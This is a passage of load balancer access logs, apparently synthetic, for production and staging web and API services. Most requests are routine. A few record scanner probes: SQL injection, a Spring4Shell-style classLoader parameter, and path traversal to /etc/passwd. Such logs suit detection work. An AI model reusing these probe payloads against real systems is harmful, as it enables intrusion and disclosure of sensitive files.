/api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723da76-4efc68a7d8e54c748cd194f3" "-" "-" 4 2024-11-01T02:28:54.686670Z "forward" "-" "-" "10.0.9.101:443" "404" "-" "-" +https 2024-11-01T02:28:56.319108Z prod-api-alb 119.232.31.170:26599 10.0.21.92:443 0.019524 0.371788 0.084532 404 404 576 3029 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723da78-0237cfe84fe948fb8a8e1bf2" "prod-api-alb.example.com" "-" 6 2024-11-01T02:28:56.319108Z "forward" "-" "-" "10.0.21.92:443" "404" "-" "-" +https 2024-11-01T02:28:56.821699Z prod-api-alb 151.47.238.89:42335 10.0.118.187:443 0.024794 0.111190 0.074008 301 301 662 3270 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723da78-f5541839d85e4634927baf61" "prod-api-alb.example.com" "-" 0 2024-11-01T02:28:56.821699Z "forward" "-" "-" "10.0.118.187:443" "301" "-" "-" +http 2024-11-01T02:28:57.024807Z staging-alb 78.218.170.155:55019 143.209.4.8:443 0.030744 0.657242 0.144741 301 301 536 2980 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723da79-3a0f4ff1da2d4f5a9835eb67" "staging-alb.example.com" "-" 8 2024-11-01T02:28:57.024807Z "forward" "-" "-" "143.209.4.8:443" "301" "-" "-" +https 2024-11-01T02:28:57.977405Z prod-api-alb 185.181.132.228:13056 10.0.129.10:443 0.013677 0.021804 0.005564 500 500 735 12399 "GET /users?id=1 OR 1=1 HTTP/1.1" "python-requests/2.31.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723da79-ce6470d2b0bd450ea1fc05d5" "-" "-" 10 2024-11-01T02:28:57.977405Z "forward" "-" "-" "10.0.129.10:443" "500" "-" "-" +https 2024-11-01T02:28:59.142724Z prod-web-alb 242.148.97.255:54569 10.0.31.254:443 0.078456 0.170197 0.070760 200 200 547 11753 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723da7b-c1b5b67801c949199945b95d" "prod-web-alb.example.com" "-" 7 2024-11-01T02:28:59.142724Z "forward" "-" "-" "10.0.31.254:443" "200" "-" "-" +https 2024-11-01T02:28:59.553090Z prod-api-alb 14.49.228.169:10950 10.0.194.106:443 0.085594 0.280636 0.059155 200 200 863 5266 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723da7b-781b2cd4435549398f92b795" "prod-api-alb.example.com" "-" 5 2024-11-01T02:28:59.553090Z "forward" "-" "-" "10.0.194.106:443" "200" "-" "-" +http 2024-11-01T02:29:00.159834Z staging-alb 216.201.163.50:41890 240.181.184.170:80 0.051900 0.153458 0.117819 404 404 996 1237 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723da7c-8908a8e79b2e4c54b2abc347" "staging-alb.example.com" "-" 2 2024-11-01T02:29:00.159834Z "forward" "-" "-" "240.181.184.170:80" "404" "-" "-" +https 2024-11-01T02:29:00.879522Z prod-web-alb 97.142.88.39:23476 10.0.47.197:443 0.006844 0.068980 0.080152 301 301 49 13261 "GET /cart HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723da7c-655c13fce4804bf38268fe27" "prod-web-alb.example.com" "-" 9 2024-11-01T02:29:00.879522Z "forward" "-" "-" "10.0.47.197:443" "301" "-" "-" +https 2024-11-01T02:29:01.358311Z prod-web-alb 102.140.139.158:46104 10.0.203.138:443 0.003728 0.478664 0.050838 200 200 816 13323 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723da7d-5128c1ca49ab4c619447cdb7" "prod-web-alb.example.com" "-" 8 2024-11-01T02:29:01.358311Z "forward" "-" "-" "10.0.203.138:443" "200" "-" "-" +https 2024-11-01T02:29:02.919589Z prod-api-alb 138.92.123.169:31758 10.0.212.54:443 0.091403 0.436941 0.044800 200 200 21 10680 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723da7e-bc05676aa2fe409aa7f4d84e" "prod-api-alb.example.com" "-" 2 2024-11-01T02:29:02.919589Z "forward" "-" "-" "10.0.212.54:443" "200" "-" "-" +http 2024-11-01T02:29:04.552916Z staging-alb 248.95.225.108:50614 3.106.95.101:80 0.042438 0.353903 0.067662 301 301 930 11013 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723da80-0195160a6e50422bbd6cdfeb" "staging-alb.example.com" "-" 9 2024-11-01T02:29:04.552916Z "forward" "-" "-" "3.106.95.101:80" "301" "-" "-" +https 2024-11-01T02:29:06.446872Z staging-alb 133.74.188.34:56676 145.74.238.82:80 0.116225 0.398499 0.104397 200 200 970 1571 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723da82-5afb730024c3406d81bfff59" "staging-alb.example.com" "-" 0 2024-11-01T02:29:06.446872Z "forward" "-" "-" "145.74.238.82:80" "200" "-" "-" +http 2024-11-01T02:29:08.403035Z staging-alb 79.117.98.57:13679 167.49.6.124:8080 0.005266 0.449901 0.016178 302 302 874 2459 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723da84-476fa3839af04e50bed2ee2a" "staging-alb.example.com" "-" 6 2024-11-01T02:29:08.403035Z "forward" "-" "-" "167.49.6.124:8080" "302" "-" "-" +https 2024-11-01T02:29:09.835265Z prod-web-alb 147.18.191.39:30591 10.0.96.27:443 0.012221 0.280879 0.050663 302 302 433 2083 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723da85-0fc29505acea4e5b8a173d05" "prod-web-alb.example.com" "-" 5 2024-11-01T02:29:09.835265Z "forward" "-" "-" "10.0.96.27:443" "302" "-" "-" +https 2024-11-01T02:29:11.504666Z prod-api-alb 226.129.180.78:62591 10.0.24.111:443 0.021874 0.093820 0.098823 404 404 296 10399 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723da87-7d8c5e80f8dc46ca8972d309" "prod-api-alb.example.com" "-" 3 2024-11-01T02:29:11.504666Z "forward" "-" "-" "10.0.24.111:443" "404" "-" "-" +https 2024-11-01T02:29:13.032538Z prod-api-alb 107.114.82.69:18518 10.0.11.100:443 0.051612 0.467634 0.068691 200 200 302 8277 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723da89-357fe3f743074c55aa6d2007" "prod-api-alb.example.com" "-" 7 2024-11-01T02:29:13.032538Z "forward" "-" "-" "10.0.11.100:443" "200" "-" "-" +https 2024-11-01T02:29:14.262057Z prod-api-alb 84.90.116.191:31247 10.0.131.119:443 0.016941 0.495366 0.022535 200 200 406 3428 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723da8a-2591361fdb9e4e24bf318d48" "prod-api-alb.example.com" "-" 2 2024-11-01T02:29:14.262057Z "forward" "-" "-" "10.0.131.119:443" "200" "-" "-" +https 2024-11-01T02:29:14.522514Z prod-web-alb 127.156.191.155:19185 10.0.88.78:443 0.060052 0.314263 0.013644 302 302 685 1129 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723da8a-f0413b43ebc44ace9be61127" "prod-web-alb.example.com" "-" 2 2024-11-01T02:29:14.522514Z "forward" "-" "-" "10.0.88.78:443" "302" "-" "-" +https 2024-11-01T02:29:16.055396Z staging-alb 201.99.190.128:47428 34.234.238.78:443 0.073596 0.255918 0.068264 301 301 910 8654 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723da8c-c65d1f4794d543938e6cd6ca" "staging-alb.example.com" "-" 8 2024-11-01T02:29:16.055396Z "forward" "-" "-" "34.234.238.78:443" "301" "-" "-" +https 2024-11-01T02:29:17.295136Z prod-api-alb 184.202.146.184:40306 10.0.169.184:443 0.072662 0.403086 0.016138 301 301 178 11873 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723da8d-c4ca9078bbb145b99a15a8f3" "prod-api-alb.example.com" "-" 4 2024-11-01T02:29:17.295136Z "forward" "-" "-" "10.0.169.184:443" "301" "-" "-" +https 2024-11-01T02:29:17.651271Z prod-web-alb 79.205.157.144:56194 10.0.87.222:443 0.018980 0.154954 0.066881 200 200 117 10891 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723da8d-af3d31644d5e4c1486f06215" "prod-web-alb.example.com" "-" 3 2024-11-01T02:29:17.651271Z "forward" "-" "-" "10.0.87.222:443" "200" "-" "-" +https 2024-11-01T02:29:18.702457Z prod-web-alb 211.186.14.159:51203 10.0.176.72:443 0.061050 0.281728 0.044476 404 404 689 3898 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723da8e-63d097ea64384e3a9cc7ddd3" "prod-web-alb.example.com" "-" 8 2024-11-01T02:29:18.702457Z "forward" "-" "-" "10.0.176.72:443" "404" "-" "-" +https 2024-11-01T02:29:19.122730Z staging-alb 205.86.161.59:59655 32.40.241.90:80 0.053851 0.708246 0.050482 200 200 345 9091 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723da8f-59459d9cc1014002a1f19fb3" "staging-alb.example.com" "-" 1 2024-11-01T02:29:19.122730Z "forward" "-" "-" "32.40.241.90:80" "200" "-" "-" +https 2024-11-01T02:29:20.520968Z staging-alb 133.234.251.165:16733 248.224.54.9:443 0.057284 0.027224 0.094331 200 200 465 6802 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723da90-93776242452f407d877da4a9" "staging-alb.example.com" "-" 3 2024-11-01T02:29:20.520968Z "forward" "-" "-" "248.224.54.9:443" "200" "-" "-" +https 2024-11-01T02:29:22.348974Z prod-web-alb 118.91.100.78:33807 10.0.9.221:443 0.082925 0.055116 0.062943 200 200 838 6109 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723da92-0320764b7bf4485988294705" "prod-web-alb.example.com" "-" 3 2024-11-01T02:29:22.348974Z "forward" "-" "-" "10.0.9.221:443" "200" "-" "-" +https 2024-11-01T02:29:24.270447Z staging-alb 26.82.47.158:62371 40.214.121.35:8080 0.095501 0.484633 0.074171 200 200 483 1716 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723da94-a598817839e644caa307eca1" "staging-alb.example.com" "-" 9 2024-11-01T02:29:24.270447Z "forward" "-" "-" "40.214.121.35:8080" "200" "-" "-" +https 2024-11-01T02:29:25.125658Z prod-api-alb 130.95.201.247:38394 10.0.115.161:443 0.001920 0.306749 0.069083 200 200 537 10611 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723da95-8534347b20ef4af7be99a5fc" "prod-api-alb.example.com" "-" 6 2024-11-01T02:29:25.125658Z "forward" "-" "-" "10.0.115.161:443" "200" "-" "-" +http 2024-11-01T02:29:25.984191Z staging-alb 66.171.210.135:42600 86.14.208.13:443 0.084126 0.118228 0.144647 301 301 809 5990 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723da95-442ddf38cc0c466a94dcae74" "staging-alb.example.com" "-" 9 2024-11-01T02:29:25.984191Z "forward" "-" "-" "86.14.208.13:443" "301" "-" "-" +https 2024-11-01T02:29:26.440995Z prod-api-alb 239.209.111.14:14063 10.0.75.226:443 0.087129 0.199201 0.045057 200 200 155 5815 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723da96-b79a299127944261baf4f5bf" "prod-api-alb.example.com" "-" 5 2024-11-01T02:29:26.440995Z "forward" "-" "-" "10.0.75.226:443" "200" "-" "-" +https 2024-11-01T02:29:27.035418Z prod-api-alb 75.253.146.38:38227 10.0.124.222:443 0.092342 0.399078 0.020477 200 200 223 7653 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723da97-183e28510316448991e5fb4e" "prod-api-alb.example.com" "-" 10 2024-11-01T02:29:27.035418Z "forward" "-" "-" "10.0.124.222:443" "200" "-" "-" +https 2024-11-01T02:29:28.140940Z prod-web-alb 80.194.64.78:52142 10.0.139.229:443 0.095333 0.066004 0.083151 200 200 447 11295 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723da98-f0e76eab0ec04c96b9e66502" "prod-web-alb.example.com" "-" 6 2024-11-01T02:29:28.140940Z "forward" "-" "-" "10.0.139.229:443" "200" "-" "-" +https 2024-11-01T02:29:28.672447Z prod-api-alb 162.183.143.255:50407 10.0.5.217:443 0.075648 0.254197 0.072974 404 404 395 1250 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723da98-37eede3e5ce041d6a6684fb2" "prod-api-alb.example.com" "-" 2 2024-11-01T02:29:28.672447Z "forward" "-" "-" "10.0.5.217:443" "404" "-" "-" +https 2024-11-01T02:29:30.658016Z prod-api-alb 232.227.207.18:52341 10.0.190.48:443 0.064271 0.286576 0.040078 404 404 883 6156 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723da9a-70d6e73b0ce64cd4a51eac3e" "prod-api-alb.example.com" "-" 5 2024-11-01T02:29:30.658016Z "forward" "-" "-" "10.0.190.48:443" "404" "-" "-" +https 2024-11-01T02:29:32.071593Z prod-web-alb 193.27.228.96:42022 10.0.253.119:443 0.025442 0.484466 0.019206 404 404 733 5141 "POST /path?class.module.classLoader.URLs%5B0%5D=0 HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723da9c-fd5f6f1e68a6463e933aa46d" "-" "-" 10 2024-11-01T02:29:32.071593Z "forward" "-" "-" "10.0.253.119:443" "404" "-" "-" +https 2024-11-01T02:29:33.726502Z prod-web-alb 135.10.202.20:43420 10.0.108.59:443 0.046858 0.233962 0.035848 301 301 914 9870 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723da9d-88abff06c9164ff18490ea45" "prod-web-alb.example.com" "-" 4 2024-11-01T02:29:33.726502Z "forward" "-" "-" "10.0.108.59:443" "301" "-" "-" +https 2024-11-01T02:29:35.003777Z staging-alb 223.60.229.81:13704 203.20.92.86:443 0.054251 0.393606 0.078993 200 200 457 523 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723da9f-44ce967d0a52478b88e87cfb" "-" "-" 7 2024-11-01T02:29:35.003777Z "forward" "-" "-" "203.20.92.86:443" "200" "-" "-" +https 2024-11-01T02:29:36.875856Z prod-web-alb 55.1.103.57:14430 10.0.232.247:443 0.078443 0.267722 0.062104 301 301 683 5949 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723daa0-2ff4b3fdf31a4d268beec676" "prod-web-alb.example.com" "-" 6 2024-11-01T02:29:36.875856Z "forward" "-" "-" "10.0.232.247:443" "301" "-" "-" +https 2024-11-01T02:29:38.698311Z prod-api-alb 8.81.251.232:47862 10.0.205.28:443 0.048398 0.083562 0.029307 200 200 872 9388 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723daa2-d97bb0bd2f9d4ca5b220b98d" "prod-api-alb.example.com" "-" 8 2024-11-01T02:29:38.698311Z "forward" "-" "-" "10.0.205.28:443" "200" "-" "-" +https 2024-11-01T02:29:39.473307Z prod-web-alb 235.172.150.58:43813 10.0.75.56:443 0.099320 0.315748 0.085884 200 200 89 4036 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723daa3-9a8ca57df3f743be962311f6" "prod-web-alb.example.com" "-" 3 2024-11-01T02:29:39.473307Z "forward" "-" "-" "10.0.75.56:443" "200" "-" "-" +https 2024-11-01T02:29:40.267103Z prod-web-alb 169.128.140.147:28290 10.0.58.46:443 0.057765 0.008762 0.009486 404 404 69 2686 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723daa4-5cf5d47d973143e6865b6bf2" "prod-web-alb.example.com" "-" 0 2024-11-01T02:29:40.267103Z "forward" "-" "-" "10.0.58.46:443" "404" "-" "-" +https 2024-11-01T02:29:42.134136Z prod-api-alb 180.165.252.17:46247 10.0.95.201:443 0.032894 0.294649 0.086925 200 200 250 667 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723daa6-7514398d32c245b9a2655d53" "prod-api-alb.example.com" "-" 4 2024-11-01T02:29:42.134136Z "forward" "-" "-" "10.0.95.201:443" "200" "-" "-" +https 2024-11-01T02:29:43.486717Z prod-web-alb 162.31.62.190:62561 10.0.122.199:443 0.098151 0.133306 0.079658 200 200 892 2174 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723daa7-443d2ab93aba4a3eb6baf4ba" "prod-web-alb.example.com" "-" 6 2024-11-01T02:29:43.486717Z "forward" "-" "-" "10.0.122.199:443" "200" "-" "-" +https 2024-11-01T02:29:44.887495Z prod-api-alb 16.138.123.56:18880 10.0.92.56:443 0.078646 0.451866 0.043357 200 200 190 2736 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723daa8-ee351d99b90449109546df73" "prod-api-alb.example.com" "-" 10 2024-11-01T02:29:44.887495Z "forward" "-" "-" "10.0.92.56:443" "200" "-" "-" +https 2024-11-01T02:29:45.645512Z prod-web-alb 172.92.42.105:31319 10.0.176.64:443 0.018560 0.288496 0.083370 200 200 521 9987 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723daa9-0674a3bcc5494c5e965120c3" "prod-web-alb.example.com" "-" 0 2024-11-01T02:29:45.645512Z "forward" "-" "-" "10.0.176.64:443" "200" "-" "-" +https 2024-11-01T02:29:47.544595Z prod-api-alb 123.182.170.143:16542 10.0.83.219:443 0.037437 0.003927 0.085638 200 200 214 2186 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723daab-98f502e2efb24a94a0e9e2ab" "-" "-" 9 2024-11-01T02:29:47.544595Z "forward" "-" "-" "10.0.83.219:443" "200" "-" "-" +http 2024-11-01T02:29:48.621406Z staging-alb 45.155.205.109:31014 204.215.128.138:443 0.143156 0.199452 0.073587 500 500 460 14413 "PUT /debug/pprof HTTP/1.1" "subfinder/v2.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723daac-27e255dc1df04bcf848563a3" "-" "-" 6 2024-11-01T02:29:48.621406Z "forward" "-" "-" "204.215.128.138:443" "500" "-" "-" +https 2024-11-01T02:29:50.214287Z prod-api-alb 193.27.228.174:42066 10.0.46.209:443 0.021058 0.035102 0.037549 403 403 931 14228 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "zgrab/0.x" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723daae-4ee9e55ddc294c45afd02205" "-" "-" 7 